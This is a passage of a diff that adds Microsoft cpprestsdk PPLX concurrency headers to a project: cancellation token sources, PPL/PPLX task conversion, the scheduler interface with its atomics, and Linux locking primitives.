||||||
|
{
|
||||||
|
public:
|
||||||
|
typedef ::pplx::details::_CancellationTokenState* _ImplType;
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Constructs a new <c>cancellation_token_source</c>. The source can be used to flag cancellation of some
|
||||||
|
/// cancelable operation.
|
||||||
|
/// </summary>
|
||||||
|
cancellation_token_source() { _M_Impl = new ::pplx::details::_CancellationTokenState; }
|
||||||
|
|
||||||
|
cancellation_token_source(const cancellation_token_source& _Src) { _Assign(_Src._M_Impl); }
|
||||||
|
|
||||||
|
cancellation_token_source(cancellation_token_source&& _Src) { _Move(_Src._M_Impl); }
|
||||||
|
|
||||||
|
cancellation_token_source& operator=(const cancellation_token_source& _Src)
|
||||||
|
{
|
||||||
|
if (this != &_Src)
|
||||||
|
{
|
||||||
|
_Clear();
|
||||||
|
_Assign(_Src._M_Impl);
|
||||||
|
}
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
cancellation_token_source& operator=(cancellation_token_source&& _Src)
|
||||||
|
{
|
||||||
|
if (this != &_Src)
|
||||||
|
{
|
||||||
|
_Clear();
|
||||||
|
_Move(_Src._M_Impl);
|
||||||
|
}
|
||||||
|
return *this;
|
||||||
|
}
|
||||||
|
|
||||||
|
bool operator==(const cancellation_token_source& _Src) const { return _M_Impl == _Src._M_Impl; }
|
||||||
|
|
||||||
|
bool operator!=(const cancellation_token_source& _Src) const { return !(operator==(_Src)); }
|
||||||
|
|
||||||
|
~cancellation_token_source()
|
||||||
|
{
|
||||||
|
if (_M_Impl != NULL)
|
||||||
|
{
|
||||||
|
_M_Impl->_Release();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Returns a cancellation token associated with this source. The returned token can be polled for cancellation
|
||||||
|
/// or provide a callback if and when cancellation occurs.
|
||||||
|
/// </summary>
|
||||||
|
/// <returns>
|
||||||
|
/// A cancellation token associated with this source.
|
||||||
|
/// </returns>
|
||||||
|
cancellation_token get_token() const { return cancellation_token(_M_Impl); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a <c>cancellation_token_source</c> which is canceled when the provided token is canceled.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="_Src">
|
||||||
|
/// A token whose cancellation will cause cancellation of the returned token source. Note that the returned
|
||||||
|
/// token source can also be canceled independently of the source contained in this parameter.
|
||||||
|
/// </param>
|
||||||
|
/// <returns>
|
||||||
|
/// A <c>cancellation_token_source</c> which is canceled when the token provided by the <paramref name="_Src"/>
|
||||||
|
/// parameter is canceled.
|
||||||
|
/// </returns>
|
||||||
|
static cancellation_token_source create_linked_source(cancellation_token& _Src)
|
||||||
|
{
|
||||||
|
cancellation_token_source newSource;
|
||||||
|
_Src.register_callback([newSource]() { newSource.cancel(); });
|
||||||
|
return newSource;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a <c>cancellation_token_source</c> which is canceled when one of a series of tokens represented by
|
||||||
|
/// an STL iterator pair is canceled.
|
||||||
|
/// </summary>
|
||||||
|
/// <param name="_Begin">
|
||||||
|
/// The STL iterator corresponding to the beginning of the range of tokens to listen for cancellation of.
|
||||||
|
/// </param>
|
||||||
|
/// <param name="_End">
|
||||||
|
/// The STL iterator corresponding to the ending of the range of tokens to listen for cancellation of.
|
||||||
|
/// </param>
|
||||||
|
/// <returns>
|
||||||
|
/// A <c>cancellation_token_source</c> which is canceled when any of the tokens provided by the range described
|
||||||
|
/// by the STL iterators contained in the <paramref name="_Begin"/> and <paramref name="_End"/> parameters is
|
||||||
|
/// canceled.
|
||||||
|
/// </returns>
|
||||||
|
template<typename _Iter>
|
||||||
|
static cancellation_token_source create_linked_source(_Iter _Begin, _Iter _End)
|
||||||
|
{
|
||||||
|
cancellation_token_source newSource;
|
||||||
|
for (_Iter _It = _Begin; _It != _End; ++_It)
|
||||||
|
{
|
||||||
|
_It->register_callback([newSource]() { newSource.cancel(); });
|
||||||
|
}
|
||||||
|
return newSource;
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Cancels the token. Any <c>task_group</c>, <c>structured_task_group</c>, or <c>task</c> which utilizes the
|
||||||
|
/// token will be canceled upon this call and throw an exception at the next interruption point.
|
||||||
|
/// </summary>
|
||||||
|
void cancel() const { _M_Impl->_Cancel(); }
|
||||||
|
|
||||||
|
_ImplType _GetImpl() const { return _M_Impl; }
|
||||||
|
|
||||||
|
static cancellation_token_source _FromImpl(_ImplType _Impl) { return cancellation_token_source(_Impl); }
|
||||||
|
|
||||||
|
private:
|
||||||
|
_ImplType _M_Impl;
|
||||||
|
|
||||||
|
void _Clear()
|
||||||
|
{
|
||||||
|
if (_M_Impl != NULL)
|
||||||
|
{
|
||||||
|
_M_Impl->_Release();
|
||||||
|
}
|
||||||
|
_M_Impl = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
void _Assign(_ImplType _Impl)
|
||||||
|
{
|
||||||
|
if (_Impl != NULL)
|
||||||
|
{
|
||||||
|
_Impl->_Reference();
|
||||||
|
}
|
||||||
|
_M_Impl = _Impl;
|
||||||
|
}
|
||||||
|
|
||||||
|
void _Move(_ImplType& _Impl)
|
||||||
|
{
|
||||||
|
_M_Impl = _Impl;
|
||||||
|
_Impl = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
cancellation_token_source(_ImplType _Impl) : _M_Impl(_Impl)
|
||||||
|
{
|
||||||
|
if (_M_Impl == ::pplx::details::_CancellationTokenState::_None())
|
||||||
|
{
|
||||||
|
_M_Impl = NULL;
|
||||||
|
}
|
||||||
|
|
||||||
|
if (_M_Impl != NULL)
|
||||||
|
{
|
||||||
|
_M_Impl->_Reference();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace pplx
|
||||||
|
|
||||||
|
#pragma pop_macro("new")
|
||||||
|
#pragma pack(pop)
|
||||||
|
|
||||||
|
#endif // _PPLXCANCELLATION_TOKEN_H
|
|
@ -0,0 +1,83 @@
|
||||||
|
/***
|
||||||
|
* Copyright (C) Microsoft. All rights reserved.
|
||||||
|
* Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
|
||||||
|
*
|
||||||
|
* =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|
||||||
|
*
|
||||||
|
* Utilities to convert between PPL tasks and PPLX tasks
|
||||||
|
*
|
||||||
|
* For the latest on this and related APIs, please see: https://github.com/Microsoft/cpprestsdk
|
||||||
|
*
|
||||||
|
* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||||
|
****/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#ifndef _PPLXCONV_H
|
||||||
|
#define _PPLXCONV_H
|
||||||
|
|
||||||
|
#ifndef _WIN32
|
||||||
|
#error This is only supported on Windows
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if defined(_MSC_VER) && (_MSC_VER >= 1700) && (_MSC_VER < 1800) && !CPPREST_FORCE_PPLX
|
||||||
|
|
||||||
|
#include "Common/CppRestSdk/include/pplx/pplxtasks.h"
|
||||||
|
#include <ppltasks.h>
|
||||||
|
|
||||||
|
namespace pplx
|
||||||
|
{
|
||||||
|
namespace _Ppl_conv_helpers
|
||||||
|
{
|
||||||
|
template<typename _Tc, typename _F>
|
||||||
|
auto _Set_value(_Tc _Tcp, const _F& _Func) -> decltype(_Tcp.set(_Func()))
|
||||||
|
{
|
||||||
|
return _Tcp.set(_Func());
|
||||||
|
}
|
||||||
|
|
||||||
|
template<typename _Tc, typename _F>
|
||||||
|
auto _Set_value(_Tc _Tcp, const _F& _Func, ...) -> decltype(_Tcp.set())
|
||||||
|
{
|
||||||
|
_Func();
|
||||||
|
return _Tcp.set();
|
||||||
|
}
|
||||||
|
|
||||||
|
template<typename _TaskType, typename _OtherTaskType, typename _OtherTCEType>
|
||||||
|
_OtherTaskType _Convert_task(_TaskType _Task)
|
||||||
|
{
|
||||||
|
_OtherTCEType _Tc;
|
||||||
|
_Task.then([_Tc](_TaskType _Task2) {
|
||||||
|
try
|
||||||
|
{
|
||||||
|
_Ppl_conv_helpers::_Set_value(_Tc, [=] { return _Task2.get(); });
|
||||||
|
}
|
||||||
|
catch (...)
|
||||||
|
{
|
||||||
|
_Tc.set_exception(std::current_exception());
|
||||||
|
}
|
||||||
|
});
|
||||||
|
_OtherTaskType _T_other(_Tc);
|
||||||
|
return _T_other;
|
||||||
|
}
|
||||||
|
} // namespace _Ppl_conv_helpers
|
||||||
|
|
||||||
|
template<typename _TaskType>
|
||||||
|
concurrency::task<_TaskType> pplx_task_to_concurrency_task(pplx::task<_TaskType> _Task)
|
||||||
|
{
|
||||||
|
return _Ppl_conv_helpers::_Convert_task<typename pplx::task<_TaskType>,
|
||||||
|
concurrency::task<_TaskType>,
|
||||||
|
concurrency::task_completion_event<_TaskType>>(_Task);
|
||||||
|
}
|
||||||
|
|
||||||
|
template<typename _TaskType>
|
||||||
|
pplx::task<_TaskType> concurrency_task_to_pplx_task(concurrency::task<_TaskType> _Task)
|
||||||
|
{
|
||||||
|
return _Ppl_conv_helpers::_Convert_task<typename concurrency::task<_TaskType>,
|
||||||
|
pplx::task<_TaskType>,
|
||||||
|
pplx::task_completion_event<_TaskType>>(_Task);
|
||||||
|
}
|
||||||
|
} // namespace pplx
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#endif // _PPLXCONV_H
|
|
@ -0,0 +1,227 @@
|
||||||
|
/***
|
||||||
|
* Copyright (C) Microsoft. All rights reserved.
|
||||||
|
* Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
|
||||||
|
*
|
||||||
|
* =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|
||||||
|
*
|
||||||
|
* PPL interfaces
|
||||||
|
*
|
||||||
|
* For the latest on this and related APIs, please see: https://github.com/Microsoft/cpprestsdk
|
||||||
|
*
|
||||||
|
* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||||
|
****/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#ifndef _PPLXINTERFACE_H
|
||||||
|
#define _PPLXINTERFACE_H
|
||||||
|
|
||||||
|
#if (defined(_MSC_VER) && (_MSC_VER >= 1800)) && !CPPREST_FORCE_PPLX
|
||||||
|
#error This file must not be included for Visual Studio 12 or later
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#if defined(_CRTBLD)
|
||||||
|
#elif defined(_WIN32)
|
||||||
|
#if (_MSC_VER >= 1700)
|
||||||
|
#define _USE_REAL_ATOMICS
|
||||||
|
#endif
|
||||||
|
#else // GCC compiler
|
||||||
|
#define _USE_REAL_ATOMICS
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include <memory>
|
||||||
|
#ifdef _USE_REAL_ATOMICS
|
||||||
|
#include <atomic>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#define _pplx_cdecl __cdecl
|
||||||
|
|
||||||
|
namespace pplx
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// An elementary abstraction for a task, defined as <c>void (__cdecl * TaskProc_t)(void *)</c>. A <c>TaskProc</c>
|
||||||
|
/// is called to invoke the body of a task.
|
||||||
|
/// </summary>
|
||||||
|
/**/
|
||||||
|
typedef void(_pplx_cdecl* TaskProc_t)(void*);
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Scheduler Interface
|
||||||
|
/// </summary>
|
||||||
|
struct __declspec(novtable) scheduler_interface
|
||||||
|
{
|
||||||
|
virtual void schedule(TaskProc_t, _In_ void*) = 0;
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Represents a pointer to a scheduler. This class exists to allow the
|
||||||
|
/// the specification of a shared lifetime by using shared_ptr or just
|
||||||
|
/// a plain reference by using raw pointer.
|
||||||
|
/// </summary>
|
||||||
|
struct scheduler_ptr
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a scheduler pointer from shared_ptr to scheduler
|
||||||
|
/// </summary>
|
||||||
|
explicit scheduler_ptr(std::shared_ptr<scheduler_interface> scheduler) : m_sharedScheduler(std::move(scheduler))
|
||||||
|
{
|
||||||
|
m_scheduler = m_sharedScheduler.get();
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Creates a scheduler pointer from raw pointer to scheduler
|
||||||
|
/// </summary>
|
||||||
|
explicit scheduler_ptr(_In_opt_ scheduler_interface* pScheduler) : m_scheduler(pScheduler) {}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Behave like a pointer
|
||||||
|
/// </summary>
|
||||||
|
scheduler_interface* operator->() const { return get(); }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Returns the raw pointer to the scheduler
|
||||||
|
/// </summary>
|
||||||
|
scheduler_interface* get() const { return m_scheduler; }
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Test whether the scheduler pointer is non-null
|
||||||
|
/// </summary>
|
||||||
|
operator bool() const { return get() != nullptr; }
|
||||||
|
|
||||||
|
private:
|
||||||
|
std::shared_ptr<scheduler_interface> m_sharedScheduler;
|
||||||
|
scheduler_interface* m_scheduler;
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Describes the execution status of a <c>task_group</c> or <c>structured_task_group</c> object. A value of this
|
||||||
|
/// type is returned by numerous methods that wait on tasks scheduled to a task group to complete.
|
||||||
|
/// </summary>
|
||||||
|
/// <seealso cref="task_group Class"/>
|
||||||
|
/// <seealso cref="task_group::wait Method"/>
|
||||||
|
/// <seealso cref="task_group::run_and_wait Method"/>
|
||||||
|
/// <seealso cref="structured_task_group Class"/>
|
||||||
|
/// <seealso cref="structured_task_group::wait Method"/>
|
||||||
|
/// <seealso cref="structured_task_group::run_and_wait Method"/>
|
||||||
|
/**/
|
||||||
|
enum task_group_status
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// The tasks queued to the <c>task_group</c> object have not completed. Note that this value is not presently
|
||||||
|
/// returned by the Concurrency Runtime.
|
||||||
|
/// </summary>
|
||||||
|
/**/
|
||||||
|
not_complete,
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The tasks queued to the <c>task_group</c> or <c>structured_task_group</c> object completed successfully.
|
||||||
|
/// </summary>
|
||||||
|
/**/
|
||||||
|
completed,
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// The <c>task_group</c> or <c>structured_task_group</c> object was canceled. One or more tasks may not have
|
||||||
|
/// executed.
|
||||||
|
/// </summary>
|
||||||
|
/**/
|
||||||
|
canceled
|
||||||
|
};
|
||||||
|
|
||||||
|
namespace details
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Atomics
|
||||||
|
/// </summary>
|
||||||
|
#ifdef _USE_REAL_ATOMICS
|
||||||
|
typedef std::atomic<long> atomic_long;
|
||||||
|
typedef std::atomic<size_t> atomic_size_t;
|
||||||
|
|
||||||
|
template<typename _T>
|
||||||
|
_T atomic_compare_exchange(std::atomic<_T>& _Target, _T _Exchange, _T _Comparand)
|
||||||
|
{
|
||||||
|
_T _Result = _Comparand;
|
||||||
|
_Target.compare_exchange_strong(_Result, _Exchange);
|
||||||
|
return _Result;
|
||||||
|
}
|
||||||
|
|
||||||
|
template<typename _T>
|
||||||
|
_T atomic_exchange(std::atomic<_T>& _Target, _T _Value)
|
||||||
|
{
|
||||||
|
return _Target.exchange(_Value);
|
||||||
|
}
|
||||||
|
|
||||||
|
template<typename _T>
|
||||||
|
_T atomic_increment(std::atomic<_T>& _Target)
|
||||||
|
{
|
||||||
|
return _Target.fetch_add(1) + 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
template<typename _T>
|
||||||
|
_T atomic_decrement(std::atomic<_T>& _Target)
|
||||||
|
{
|
||||||
|
return _Target.fetch_sub(1) - 1;
|
||||||
|
}
|
||||||
|
|
||||||
|
template<typename _T>
|
||||||
|
_T atomic_add(std::atomic<_T>& _Target, _T value)
|
||||||
|
{
|
||||||
|
return _Target.fetch_add(value) + value;
|
||||||
|
}
|
||||||
|
|
||||||
|
#else // not _USE_REAL_ATOMICS
|
||||||
|
|
||||||
|
typedef long volatile atomic_long;
|
||||||
|
typedef size_t volatile atomic_size_t;
|
||||||
|
|
||||||
|
template<class T>
|
||||||
|
inline T atomic_exchange(T volatile& _Target, T _Value)
|
||||||
|
{
|
||||||
|
return _InterlockedExchange(&_Target, _Value);
|
||||||
|
}
|
||||||
|
|
||||||
|
inline long atomic_increment(long volatile& _Target) { return _InterlockedIncrement(&_Target); }
|
||||||
|
|
||||||
|
inline long atomic_add(long volatile& _Target, long value) { return _InterlockedExchangeAdd(&_Target, value) + value; }
|
||||||
|
|
||||||
|
inline size_t atomic_increment(size_t volatile& _Target)
|
||||||
|
{
|
||||||
|
#if (defined(_M_IX86) || defined(_M_ARM))
|
||||||
|
return static_cast<size_t>(_InterlockedIncrement(reinterpret_cast<long volatile*>(&_Target)));
|
||||||
|
#else
|
||||||
|
return static_cast<size_t>(_InterlockedIncrement64(reinterpret_cast<__int64 volatile*>(&_Target)));
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
inline long atomic_decrement(long volatile& _Target) { return _InterlockedDecrement(&_Target); }
|
||||||
|
|
||||||
|
inline size_t atomic_decrement(size_t volatile& _Target)
|
||||||
|
{
|
||||||
|
#if (defined(_M_IX86) || defined(_M_ARM))
|
||||||
|
return static_cast<size_t>(_InterlockedDecrement(reinterpret_cast<long volatile*>(&_Target)));
|
||||||
|
#else
|
||||||
|
return static_cast<size_t>(_InterlockedDecrement64(reinterpret_cast<__int64 volatile*>(&_Target)));
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
|
||||||
|
inline long atomic_compare_exchange(long volatile& _Target, long _Exchange, long _Comparand)
|
||||||
|
{
|
||||||
|
return _InterlockedCompareExchange(&_Target, _Exchange, _Comparand);
|
||||||
|
}
|
||||||
|
|
||||||
|
inline size_t atomic_compare_exchange(size_t volatile& _Target, size_t _Exchange, size_t _Comparand)
|
||||||
|
{
|
||||||
|
#if (defined(_M_IX86) || defined(_M_ARM))
|
||||||
|
return static_cast<size_t>(_InterlockedCompareExchange(
|
||||||
|
reinterpret_cast<long volatile*>(_Target), static_cast<long>(_Exchange), static_cast<long>(_Comparand)));
|
||||||
|
#else
|
||||||
|
return static_cast<size_t>(_InterlockedCompareExchange64(reinterpret_cast<__int64 volatile*>(_Target),
|
||||||
|
static_cast<__int64>(_Exchange),
|
||||||
|
static_cast<__int64>(_Comparand)));
|
||||||
|
#endif
|
||||||
|
}
|
||||||
|
#endif // _USE_REAL_ATOMICS
|
||||||
|
|
||||||
|
} // namespace details
|
||||||
|
} // namespace pplx
|
||||||
|
|
||||||
|
#endif // _PPLXINTERFACE_H
|
|
@ -0,0 +1,288 @@
|
||||||
|
/***
|
||||||
|
* Copyright (C) Microsoft. All rights reserved.
|
||||||
|
* Licensed under the MIT license. See LICENSE.txt file in the project root for full license information.
|
||||||
|
*
|
||||||
|
* =+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+=+
|
||||||
|
*
|
||||||
|
* Linux specific pplx implementations
|
||||||
|
*
|
||||||
|
* For the latest on this and related APIs, please see: https://github.com/Microsoft/cpprestsdk
|
||||||
|
*
|
||||||
|
* =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
|
||||||
|
****/
|
||||||
|
|
||||||
|
#pragma once
|
||||||
|
|
||||||
|
#if (defined(_MSC_VER))
|
||||||
|
#error This file must not be included for Visual Studio
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#ifndef _WIN32
|
||||||
|
|
||||||
|
#include "Common/CppRestSdk/include/cpprest/details/cpprest_compat.h"
|
||||||
|
#include "pthread.h"
|
||||||
|
#include <signal.h>
|
||||||
|
|
||||||
|
#if defined(__APPLE__)
|
||||||
|
#include <boost/thread/condition_variable.hpp>
|
||||||
|
#include <boost/thread/mutex.hpp>
|
||||||
|
#include <dispatch/dispatch.h>
|
||||||
|
#else
|
||||||
|
#include <atomic>
|
||||||
|
#include <condition_variable>
|
||||||
|
#include <mutex>
|
||||||
|
#endif
|
||||||
|
|
||||||
|
#include "Common/CppRestSdk/include/pplx/pplxinterface.h"
|
||||||
|
|
||||||
|
namespace pplx
|
||||||
|
{
|
||||||
|
#if defined(__APPLE__)
|
||||||
|
namespace cpprest_synchronization = ::boost;
|
||||||
|
#else
|
||||||
|
namespace cpprest_synchronization = ::std;
|
||||||
|
#endif
|
||||||
|
namespace details
|
||||||
|
{
|
||||||
|
namespace platform
|
||||||
|
{
|
||||||
|
/// <summary>
|
||||||
|
/// Returns a unique identifier for the execution thread where this routine in invoked
|
||||||
|
/// </summary>
|
||||||
|
_PPLXIMP long _pplx_cdecl GetCurrentThreadId();
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Yields the execution of the current execution thread - typically when spin-waiting
|
||||||
|
/// </summary>
|
||||||
|
_PPLXIMP void _pplx_cdecl YieldExecution();
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Captures the callstack
|
||||||
|
/// </summary>
|
||||||
|
__declspec(noinline) inline static size_t CaptureCallstack(void**, size_t, size_t) { return 0; }
|
||||||
|
} // namespace platform
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Manual reset event
|
||||||
|
/// </summary>
|
||||||
|
class event_impl
|
||||||
|
{
|
||||||
|
private:
|
||||||
|
cpprest_synchronization::mutex _lock;
|
||||||
|
cpprest_synchronization::condition_variable _condition;
|
||||||
|
bool _signaled;
|
||||||
|
|
||||||
|
public:
|
||||||
|
static const unsigned int timeout_infinite = 0xFFFFFFFF;
|
||||||
|
|
||||||
|
event_impl() : _signaled(false) {}
|
||||||
|
|
||||||
|
void set()
|
||||||
|
{
|
||||||
|
cpprest_synchronization::lock_guard<cpprest_synchronization::mutex> lock(_lock);
|
||||||
|
_signaled = true;
|
||||||
|
_condition.notify_all();
|
||||||
|
}
|
||||||
|
|
||||||
|
void reset()
|
||||||
|
{
|
||||||
|
cpprest_synchronization::lock_guard<cpprest_synchronization::mutex> lock(_lock);
|
||||||
|
_signaled = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
unsigned int wait(unsigned int timeout)
|
||||||
|
{
|
||||||
|
cpprest_synchronization::unique_lock<cpprest_synchronization::mutex> lock(_lock);
|
||||||
|
if (timeout == event_impl::timeout_infinite)
|
||||||
|
{
|
||||||
|
_condition.wait(lock, [this]() -> bool { return _signaled; });
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
cpprest_synchronization::chrono::milliseconds period(timeout);
|
||||||
|
auto status = _condition.wait_for(lock, period, [this]() -> bool { return _signaled; });
|
||||||
|
_ASSERTE(status == _signaled);
|
||||||
|
// Return 0 if the wait completed as a result of signaling the event. Otherwise, return timeout_infinite
|
||||||
|
// Note: this must be consistent with the behavior of the Windows version, which is based on
|
||||||
|
// WaitForSingleObjectEx
|
||||||
|
return status ? 0 : event_impl::timeout_infinite;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
unsigned int wait() { return wait(event_impl::timeout_infinite); }
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Reader writer lock
|
||||||
|
/// </summary>
|
||||||
|
class reader_writer_lock_impl
|
||||||
|
{
|
||||||
|
private:
|
||||||
|
pthread_rwlock_t _M_reader_writer_lock;
|
||||||
|
|
||||||
|
public:
|
||||||
|
class scoped_lock_read
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
explicit scoped_lock_read(reader_writer_lock_impl& _Reader_writer_lock)
|
||||||
|
: _M_reader_writer_lock(_Reader_writer_lock)
|
||||||
|
{
|
||||||
|
_M_reader_writer_lock.lock_read();
|
||||||
|
}
|
||||||
|
|
||||||
|
~scoped_lock_read() { _M_reader_writer_lock.unlock(); }
|
||||||
|
|
||||||
|
private:
|
||||||
|
reader_writer_lock_impl& _M_reader_writer_lock;
|
||||||
|
scoped_lock_read(const scoped_lock_read&); // no copy constructor
|
||||||
|
scoped_lock_read const& operator=(const scoped_lock_read&); // no assignment operator
|
||||||
|
};
|
||||||
|
|
||||||
|
reader_writer_lock_impl() { pthread_rwlock_init(&_M_reader_writer_lock, nullptr); }
|
||||||
|
|
||||||
|
~reader_writer_lock_impl() { pthread_rwlock_destroy(&_M_reader_writer_lock); }
|
||||||
|
|
||||||
|
void lock() { pthread_rwlock_wrlock(&_M_reader_writer_lock); }
|
||||||
|
|
||||||
|
void lock_read() { pthread_rwlock_rdlock(&_M_reader_writer_lock); }
|
||||||
|
|
||||||
|
void unlock() { pthread_rwlock_unlock(&_M_reader_writer_lock); }
|
||||||
|
};
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Recursive mutex
|
||||||
|
/// </summary>
|
||||||
|
class recursive_lock_impl
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
recursive_lock_impl() : _M_owner(-1), _M_recursionCount(0) {}
|
||||||
|
|
||||||
|
~recursive_lock_impl()
|
||||||
|
{
|
||||||
|
_ASSERTE(_M_owner == -1);
|
||||||
|
_ASSERTE(_M_recursionCount == 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
void lock()
|
||||||
|
{
|
||||||
|
auto id = ::pplx::details::platform::GetCurrentThreadId();
|
||||||
|
|
||||||
|
if (_M_owner == id)
|
||||||
|
{
|
||||||
|
_M_recursionCount++;
|
||||||
|
}
|
||||||
|
else
|
||||||
|
{
|
||||||
|
_M_cs.lock();
|
||||||
|
_M_owner = id;
|
||||||
|
_M_recursionCount = 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
void unlock()
|
||||||
|
{
|
||||||
|
_ASSERTE(_M_owner == ::pplx::details::platform::GetCurrentThreadId());
|
||||||
|
_ASSERTE(_M_recursionCount >= 1);
|
||||||
|
|
||||||
|
_M_recursionCount--;
|
||||||
|
|
||||||
|
if (_M_recursionCount == 0)
|
||||||
|
{
|
||||||
|
_M_owner = -1;
|
||||||
|
_M_cs.unlock();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private:
|
||||||
|
cpprest_synchronization::mutex _M_cs;
|
||||||
|
std::atomic<long> _M_owner;
|
||||||
|
long _M_recursionCount;
|
||||||
|
};
|
||||||
|
|
||||||
|
#if defined(__APPLE__)
|
||||||
|
class apple_scheduler : public pplx::scheduler_interface
|
||||||
|
#else
|
||||||
|
class linux_scheduler : public pplx::scheduler_interface
|
||||||
|
#endif
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
_PPLXIMP virtual void schedule(TaskProc_t proc, _In_ void* param);
|
||||||
|
#if defined(__APPLE__)
|
||||||
|
virtual ~apple_scheduler() {}
|
||||||
|
#else
|
||||||
|
virtual ~linux_scheduler() {}
|
||||||
|
#endif
|
||||||
|
};
|
||||||
|
|
||||||
|
} // namespace details
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// A generic RAII wrapper for locks that implements the critical_section interface
|
||||||
|
/// cpprest_synchronization::lock_guard
|
||||||
|
/// </summary>
|
||||||
|
template<class _Lock>
|
||||||
|
class scoped_lock
|
||||||
|
{
|
||||||
|
public:
|
||||||
|
explicit scoped_lock(_Lock& _Critical_section) : _M_critical_section(_Critical_section)
|
||||||
|
{
|
||||||
|
_M_critical_section.lock();
|
||||||
|
}
|
||||||
|
|
||||||
|
~scoped_lock() { _M_critical_section.unlock(); }
|
||||||
|
|
||||||
|
private:
|
||||||
|
_Lock& _M_critical_section;
|
||||||
|
|
||||||
|
scoped_lock(const scoped_lock&); // no copy constructor
|
||||||
|
scoped_lock const& operator=(const scoped_lock&); // no assignment operator
|
||||||
|
};
|
||||||
|
|
||||||
|
// The extensibility namespace contains the type definitions that are used internally
|
||||||
|
namespace extensibility
|
||||||
|
{
|
||||||
|
typedef ::pplx::details::event_impl event_t;
|
||||||
|
|
||||||
|
typedef cpprest_synchronization::mutex critical_section_t;
|
||||||
|
typedef scoped_lock<critical_section_t> scoped_critical_section_t;
|
||||||
|
|
||||||
|
typedef ::pplx::details::reader_writer_lock_impl reader_writer_lock_t;
|
||||||
|
typedef scoped_lock<reader_writer_lock_t> scoped_rw_lock_t;
|
||||||
|
typedef ::pplx::extensibility::reader_writer_lock_t::scoped_lock_read scoped_read_lock_t;
|
||||||
|
|
||||||
|
typedef ::pplx::details::recursive_lock_impl recursive_lock_t;
|
||||||
|
typedef scoped_lock<recursive_lock_t> scoped_recursive_lock_t;
|
||||||
|
} // namespace extensibility
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Default scheduler type
|
||||||
|
/// </summary>
|
||||||
|
#if defined(__APPLE__)
|
||||||
|
typedef details::apple_scheduler default_scheduler_t;
|
||||||
|
#else
|
||||||
|
